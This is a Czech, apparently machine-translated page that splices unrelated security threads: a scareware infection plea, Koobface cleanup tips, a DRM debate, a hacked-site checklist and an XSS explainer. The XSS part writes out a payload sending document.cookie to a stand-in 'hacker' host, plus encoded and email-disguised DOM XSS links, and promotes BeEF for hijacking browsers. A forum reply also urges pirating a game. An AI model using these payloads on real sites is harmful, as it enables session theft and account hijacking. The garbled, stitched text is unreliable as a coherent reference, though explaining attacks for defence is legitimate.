Nežádoucí program v PC (XP Internet Security 2012)



Ahojte,nainstaloval se mi do počítače program XP Internet Security 2012,nemohl jsem nic dělat a teď dělá v pc pěknou paseku.Nemužu otevřít ani hru ),jakýkoliv program,internet (nenačtou se stránky) Ať otevřu cokoliv vždy se zobrazí malé okénko,že je program infikovaný,pořád mi to nabízí,abych se zaregistroval a zaplatil a to u všeho,nevím si rady a ještě mi to spustilo automatické autualizace nemůžu ani otevřít ovládací panely prostě nic. Mám XP (ted píšu z ntb)
ONO SAMO?! To se snažte nakukat někomu jinému!   
Servis, kámoše vyjímám, protože pochybuji, že se najde někdo tak schopný, který by se podíval na viry.cz a hledal...
<p>záleží. myslete na svou ip adresu jako na stejnou věc jako na skutečnou adresu. pokud zločinec zná adresu banky, co může dělat? <em>zcela záleží</em> na tom, jaké zabezpečení je na místě.</p><p>pokud máte spuštěn firewall (např. windows firewall) nebo jste za routerem nat), jste pravděpodobně v bezpečí. většina vzdálených exploitů.</p><p>moje návrhy:</p><ul> <li>povolte bránu firewall systému windows nebo cokoli, co je k dispozici ve vašem operačním systému.</li> <li>udržujte krok s opravami pro váš operační systém. to jsou kritické!</li> <li>neustále aktualizujte záplaty pro váš prohlížeč a jakékoli doplňky (např. flash)</li> <li>mějte aktuální informace o opravách svých aplikací (např. office, adobe pdf atd.)</li> <li>pokud v počítači provozujete nějaké internetové služby (např. httpd), pravidelně je aktualizujte a odpovídajícím způsobem nakonfigurujte jejich zabezpečení.</li> <li>pokud máte opravdu obavy, nainstalujte základní av balíček. microsoft security essentials (mse) je skvělou volbou pro windows, protože je zdarma, nenápadný a nemá moc výkonu.</li> </ul> * Je víc než dobrý nápad neprodleně změnit heslo, které používáte pro Facebook - zejména pokud jste ho (inteligentně) zadali na falešné stránce, kterou vám to mohlo ukázat
  
* Ve vašem profilu odstranit aplikaci, kterou jste si tam natahali. Účet -> Nastavení aplikací -> najít aplikací, kterou jste si pořídili, v seznamu a pomocí "X"vpravo jí odebrat
  
* Nejméně jedním kvalitním antivirem prověřit počítač - Koobface je nepříjemný virus
  
* Nezapomenout na odstranění poslané zprávy/statusy přátelům z vašeho profilu. Pokud stále ve vašem profilu visí, mohou další lidé dopadnout stejně špatně
  
* A od věci není varování všem, že se objevil vir a na něco podobného by neměli v žádném případě klikat.
  
* Pokud máte mezi svými přáteli někoho, kdo se opakovaně něchává nachytat, je dobré podobného člověka z přátel odstranit - a uplně nejlépe, zablokovat ho zcela
  

  
Zdroj:  
 [pooh.cz/...](http://pooh.cz/pooh/a.asp?a=2016059) <p>zkuste to zjistit:</p><ol> <li>klikněte na kartu externí data</li> <li>mělo by být upozornění zabezpečení, které uvádí, že určitý obsah databáze byl zakázán.</li> <li>klikněte na tlačítko možnosti</li> <li>vyberte možnost povolit tento obsah a klepněte na tlačítko ok</li> </ol> <p><strong> xss - skriptování napříč stránkami (ale neomezeno na skutečné skriptování napříč stránkami) </strong></p><p>xss se obvykle prezentuje třemi různými způsoby:</p><p><strong> netrvalé (často nazývané odrážené xss) </strong></p><p>to je, když jste schopni vložit kód a server jej vrátí zpět, neanitizovaný. to lze často využít distribucí (obvykle nevinně vypadající) url v nějaké formě nebo způsobem, na který mohou ostatní kliknout.</p><p>to může být zvláště efektivní, když se zabýváte cílenými útoky na někoho. dokud můžete někoho přimět kliknout na adresu url, kterou jste odeslali, existuje šance, že v systému získáte zvýšená oprávnění.</p><p>příklad:</p><p>web obsahující vyhledávací pole nemá řádný dezinfekční vstup. vytvořením vyhledávacího dotazu vypadajícího takto:</p><pre><code>"&gt;&lt;script&gt;var+img=new+image();img.src="http://hacker/"%20+%20document.cookie;&lt;/script&gt; </code></pre><p>na druhém konci, na webovém serveru, budete přijímat hity, kde po dvojnásobku mezery je soubor cookie uživatelů. pokud správce klikne na odkaz, můžete mít štěstí, abyste mohli ukrást jejich id relace a hijack relaci.</p><p>použitím technik, jako je spamový e-mail, příspěvky do nástěnky, zprávy im, nástroje sociálního inženýrství, může být tato chyba zabezpečení velmi nebezpečná.</p><p><strong> založené na dom </strong></p><p>velmi podobné netrvalému, ale v případě, že se užitečné zatížení javascriptu nemusí opakovat z webového serveru. často se může jednat o to, že při načítání pomocí již existujícího javascriptu se na stránku za běhu opakuje jednoduše hodnota z parametru url.</p><p>příklad:</p><pre><code>http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie)&lt;/script&gt; </code></pre><p>zločinci samozřejmě upraví url tak, aby vypadala nevinněji. stejné užitečné zatížení jako výše jen kódováno jinak:</p><pre><code>http://victim/displayhelp.php?title=faq#&amp;#60&amp;#115&amp;#99&amp;#114&amp;#105 #112&amp;#116&amp;#62&amp;#97&amp;#108&amp;#101&amp;#114&amp;#116&amp;#40&amp;#100&amp;#111&amp;#99&amp;#117&amp;#109 &amp;#101&amp;#110&amp;#116&amp;#46&amp;#99&amp;#111&amp;#111&amp;#107&amp;#105&amp;#101&amp;#41&amp;#60&amp;#47&amp;#115&amp;#99 &amp;#114&amp;#105&amp;#112&amp;#116&amp;#62 </code></pre><p>můžete dokonce maskovat lépe, když odesíláte e-mailovým klientům, kteří podporují html, jako je tento:</p><pre><code>&lt;a href="http://victim/displayhelp.php?title=faq#&lt;script&gt;alert(document.cookie) &lt;/script&gt;"&gt;http://victim/displayhelp.php?title=faq&lt;/a&gt; </code></pre><p><strong> perzistentní </strong></p><p>jakmile dokážete vydržet vektor xss, útok se stane mnohem nebezpečnějším velmi rychle. přetrvávající xss se odráží zpět ze serveru, obvykle proto, že byl xss uložen v databázovém poli nebo podobně. zvažte, zda je následující vstup uložen do databáze a poté vám je ve vašem profilu představí:</p><pre><code>&lt;input type="text" value="your name" /&gt; </code></pre><p>pokud jste schopni zajistit, aby aplikace přijímala a ukládala neanitizované vstupy, vše, co musíte udělat, je přimět ostatní uživatele, aby si prohlédli váš profil (nebo kde se xss odráží zpět).</p><p>tyto druhy xss mohou být nejen obtížně rozpoznatelné, ale velmi zničující pro systém. stačí se podívat na červ xss s názvem <a href="http://en.wikipedia.org/wiki/samy\_worm">samy worm</a> !</p><p>v počátečních dnech xss jste viděli tento druh zneužití ve všech návštěvních knihách, komunitách, uživatelských recenzích, chatovacích místnostech atd.</p><hr><p><strong> dva útočné vektory </strong></p><p>nyní, když znáte různé způsoby poskytování užitečného zatížení xss, rád bych zmínil několik útočných vektorů xss, které mohou být velmi nebezpečné:</p><ul> <li> <p>xss defacement</p> <p>defacence xss není obtížné dosáhnout. pokud je xss také perzistentní, může být pro sysadminy obtížné to zjistit. podívejte se na rsnake <a href="http://drwetter.eu/amazon/">stallowned</a> "útok", který odstranil amazonovu funkci náhledu knihy. docela vtipné čtení.</p> </li> <li> <p>cookie krást a únos relace</p> <p>stejně jako v jednom z výše uvedených příkladů, jakmile získáte přístup k souborům cookie uživatelů, můžete také získat citlivé informace. zachycení id relace může vést k únosu relace, což může zase vést ke zvýšeným oprávněním v systému.</p> </li> </ul><p>omlouváme se za dlouhý příspěvek. teď se zastavím. jak ale můžete vidět, xss je velmi velké téma. doufám, že jsem vám to trochu objasnil.</p><hr><p><strong> využití xss pomocí beef </strong></p><p>chcete-li snadno zjistit, jak lze xss využít, doporučuji vyzkoušet <a href="http://beefproject.com/">beef</a> , browser exploitation framework. jakmile je rozbalen a spuštěn na webovém serveru s podporou php=), můžete snadno zkusit simulaci oběti (tzv. zombie), kde si můžete velmi snadno vyzkoušet různá užitečná zatížení xss. :</p><ul> <li>lokální síť portscan</li> <li>pingsweep místní síť</li> <li>pošlete virus infikovaný applet, podepsaný a připraven</li> <li>odesílejte zprávy klientovi</li> <li>proveďte skype hovor</li> </ul><p>seznam pokračuje. doporučujeme vidět video na domovské stránce beef.</p><p><strong> update: </strong> udělal jsem <a href="http://www.securesolutions.no/xss-explained/">zápis na xss</a> na svém blogu, který popisuje xss. obsahuje trochu o historii xss, různých typech útoků a některých případech použití včetně beef a shank.</p> <p>samozřejmostí je autentizace klienta. může být použit ke zlepšení zabezpečení v kombinaci s přístupovým heslem nebo čipovou kartou nebo jako pohodlná náhrada za zadání hesla.</p><p>zajímavý návrh v tomto kontextu je <a href="http://webid.info/">webid single sign on protocol</a> .</p><p>hlavní problém s klientskými certifikáty je v tom, že je vázán na prohlížeč. takže pokud jste na jiném počítači, nemáte k nim přístup, pokud jste neučinili preventivní opatření.</p> <p>za prvé si myslím, že odpověď skeptiků to do značné míry pokrývá: drm obtěžuje lidi. někteří z nás se aktivně vyhýbají nákupu zboží.</p><p>pokud jde o software, je to téměř nemožné. jedním schématem drm může být použití šifrování veřejným klíčem s obsahem šifrovaným symetrickými klíči (výkon symetrických šifrů je výrazně lepší než u většiny pk). šifrovat obsahový klíč soukromým klíčem a software pak může tento klíč veřejným klíčem dešifrovat a obsah dešifrovat.</p><p>což funguje, kromě toho, že se chystám provést program pomocí debuggeru nebo rozebrat váš kód, dokud nenajdu váš klíč, dešifrovat váš obsah a hra není hotová. crypto je pro přenos přes nezabezpečené sítě, nikoli pro bezpečné dešifrování a izolaci na nepřátelských systémech.</p><p>můžete tedy přes internet poslat spoustu různých klíčů pro různé části obsahu. no, vaši platící zákazníci s tím pravděpodobně budou mít problémy, ale mohu jen automatizovat proces ladění nebo připojit vaše přijímané události nebo cokoli jiného. ať tak či onak, mohu chytit ty klíče. není to snadné, ale lze to udělat.</p><p>další fází je tedy zabránit mi používat můj debugger nebo nějakým způsobem zavěsit vaše systémová volání, což je místo, kde začnete psát rootkity. jakmile se to stane, můžu disk odstavit v režimu offline a zkontrolovat/zakázat rootkit, nebo jej upravit tak, aby váš software věřil, že je bezpečný. ve skutečnosti mi to usnadní identifikaci toho, co chráníte.</p><p>existuje další případ, kdy je os komplikovaný a poskytuje nějakou formu zabezpečeného kontejneru. pokud je pro mě možné načíst kód do kruhu 0, stává se toto zabezpečení irelevantní. pokud ne, pokud mohu klonovat vaše jádro mikrok jádra a upravit jej tak, abych mohl načíst kód do kruhu 0, toto zabezpečení se opět stane irelevantní.</p><p>nyní musíte začít používat hardwarové ovládací prvky. jednoduše řečeno, protože mohu změnit operační systém jakýmkoli způsobem, prosím, pravděpodobně budete potřebovat hardwarově implementované drm, které nemám šanci modifikovat nebo číst. budete potřebovat, aby se vaše šifrování stalo na hardwaru tak, že nebude možné číst dešifrovaná data z operačního systému. budete potřebovat veřejný klíč, který jsem zmínil výše, aby zůstal na tomto hardwaru, ne na os.</p><p>v tuto chvíli jste mě osobně porazili, ale jsem si jist, že existují lidé, kteří jsou schopni upravit své kabely hdmi (nebo cokoli jiného) tak, aby rozdělili data na displej a na jiné zařízení, jako je úložiště.</p><p>problémem bude také způsob bezpečného uložení klíčů v zařízení. budete je muset zašifrovat! jinak připojím vaše úložné zařízení k offline systému. a uložte klíče ... počkejte ... podívejte se na vzorec?</p><p>jakmile máte fyzický přístup, hra končí.</p><p>nemyslím si, že drm je technicky možné. ať už použijete jakékoli metody, vždy bude existovat někdo s dostatečnou schopností zrušit tuto funkci, protože na určité úrovni musí být chráněný obsah pro jejich zobrazení dešifrován. to, zda mají motivaci, je jiná věc.</p><p>z pohledu softwarového inženýrství je to správné, aniž by to narušilo vaše uživatele, což jim umožnilo snadno přesunout jejich obsah na autorizovaná zařízení, podporovat nová zařízení ... všechny noční můry. kdo bude kupovat váš obsah, když nemáte podporu windows 8 připravenou ke spuštění? funguje váš obsah v mém systému windows xp)? co tím myslíte, že jej nepodporujete ?! pokud používáte hardware, máte problém s nasazením.</p><p>konečně drm je prostě hluboce nepopulární.</p> <p><strong> [~ # ~] aktualizováno [~ # ~] </strong></p><p>zkontroloval bych následující:</p><ol> <li> <p>protokoly. pokud máte root přístup, měli byste zkontrolovat věci jako <code>history</code>, které vám poskytnou historii příkazů a protokolované soubory v <code>/var/logs</code>.</p> </li> <li> <p>základní hodnota. pokud máte základní linii jako hash souborů pro práci s aplikačními a systémovými soubory, pomůže vám to hodně. zálohy můžete také použít k porovnání předchozího stavu. pokud používáte zálohu k porovnání souborů, použijte, pokud je to možné, o něco starší. stránka mohla být před nějakou dobou ohrožena a teprve nyní je přesměrování aktivováno.</p> </li> <li> <p>zkontrolujte jakékoli položky. soubory nemusí být na vašem serveru. mohou to být skripty, jako jsou značky typu <code>&lt;script src=”http://baddomain.com/s.js” /&gt;</code> nebo <code>iframe</code>. nevylučujte také obrázky, soubory pdf flash (swf), video soubory. je docela běžným trikem vkládání odkazů do souborů jiného typu obsahu. navrhuji, abyste je zkontrolovali ručně, zejména na začátku a na konci souboru. soubor může být kompletně odkazem/html/javascript nebo se může jednat o legitimní obrazový soubor s koncem odkazu na konci souboru.</p> </li> <li> <p>zkontrolujte neobvyklá data souborů, velikosti a oprávnění, např. 777.</p> </li> <li> <p>zkontrolujte neobvyklé úlohy u cron. někdo ohrožující systém často opustí zadní dveře, aby se sem dostal znovu a znovu. cron je velmi populární způsob, jak toho dosáhnout, pokud se jim podaří dostat se tak daleko.</p> </li> <li> <p>zkontrolujte, zda neexistují soubory. pravděpodobně nebudete mít přístup k protokolům, ale jejich absence je stejně známkou, že někdo po sobě vyčistil.</p> </li> <li> <p>použijte vyhledávače. není divu, že vyhledávače dokáží najít vše. použijte direktivy jako <code>site:</code> <code>site:yoursitehere.com baddomain.com</code> zjistěte, zda se vám nepodaří získat nějaké zásahy.</p> </li> <li> <p>často bude odkaz nebo přesměrování zamlženo, takže by měl být pečlivě analyzován dlouhý javascriptový kód s proměnnými s jedním písmenem.</p> </li> <li> <p>zachyťte pakety pomocí nástroje jako wireshark nebo tcpdump ze zabezpečené pracovní stanice na web. uložte jej do souboru a vyhledejte v něm části adresy url.</p> </li> <li> <p>zkontrolujte záznamy databáze, které mohou být dotazovány nebo aktualizovány. odkaz mohl být vložen do databáze, nikoli do php.</p> </li> <li> <p>nevylučujte pracovní stanici klienta. v případě potřeby použijte bezplatný online antivirový program. zkontrolujte také <code>nslookup</code> a podívejte se, k čemu se to vyřeší. zkontrolujte rozšíření prohlížeče, vymažte mezipaměť a zkontrolujte soubory <code>hosts</code>.</p> </li> </ol><p>chcete-li to vyčistit (pokud jste ohroženi), musíte se vrátit zpět na holý kov a znovu jej nainstalovat. je to bolestivé, ale je to jediný způsob, jak se ujistit, že máte všechno.</p><p>chcete-li tomu zabránit v budoucnu, měli byste dělat následující (i když již možná některé z nich děláte):</p><ol> <li> <p>vytvářejte servery, včetně používání doporučení výrobce o bezpečných konfiguracích, pomocí aktuálního softwaru. používejte přísnou kontrolu zabezpečení, jako jsou oprávnění, zásady týkající se hesel. viz také <a href="https://security.stackexchange.com/questions/7141/folder-and-file-permission-shared-host-advice/7171#7171">sdílená oprávnění ke složkám a souborům doporučení hostitele</a> .</p> </li> <li> <p>implementujte postupy kontroly kvality, jako je testování v prostředí s nízkým zabezpečením, kontrola kódu a testování.</p> </li> <li> <p>nechte zranitelnost své webové aplikace/webu ověřit alespoň jednou profesionálním certifikovaným testerem. podívejte se na testery certifikované evropskou radou, iso 27001 a pci. <a href="http://www.eccouncil.org/certification/licensed\_penetration\_tester.aspx">http://www.eccouncil.org/certification/licensed\_penetration\_tester.aspx</a> </p> </li> <li> <p>podívejte se na stránky owasp www.owasp.org a <a href="http://phpsec.org/projects/guide/2.html">http://phpsec.org/projects/guide/2.html</a> , kde najdete zdroje zabezpečení webových aplikací.</p> </li> <li> <p>použijte nástroje systému prevence narušení (ips). v závislosti na poskytovateli hostingu však můžete mít omezení ohledně toho, co můžete použít. host založené ips nástroje by měly být v pořádku, pokud máte vyhrazený virtuální počítač.</p> </li> </ol><p>doufám, že to pomůže. jinak byste mohli poskytnout více informací o systémech, které používáte?</p> Ho přeinstaluj, molh se poškodit nějaký důležitý soubor, popřípadě nějaká nová aktualizace. Která se nestáhla, nebo stáhla ale chybně (např přerušením netu)

Na metina se vykšli, raději někde sosni WOW ![:)]( ":)") je to w podstatě to samé ale o 200% lepší ![:)]( ":)") Zjednodušeně řečeno, pokud jste, že váš kód v počítači někoho jiného, ​​není absolutní zárukou bezpečnosti.


Můžete se podívat na všechny druhy bezpečnostních triků, ale nakonec, je kód na svém počítači, takže je mimo naši kontrolu.


Kolik stojíte ztratit, pokud koncový uživatel načte neoprávněnému plugin? A kde je na PC?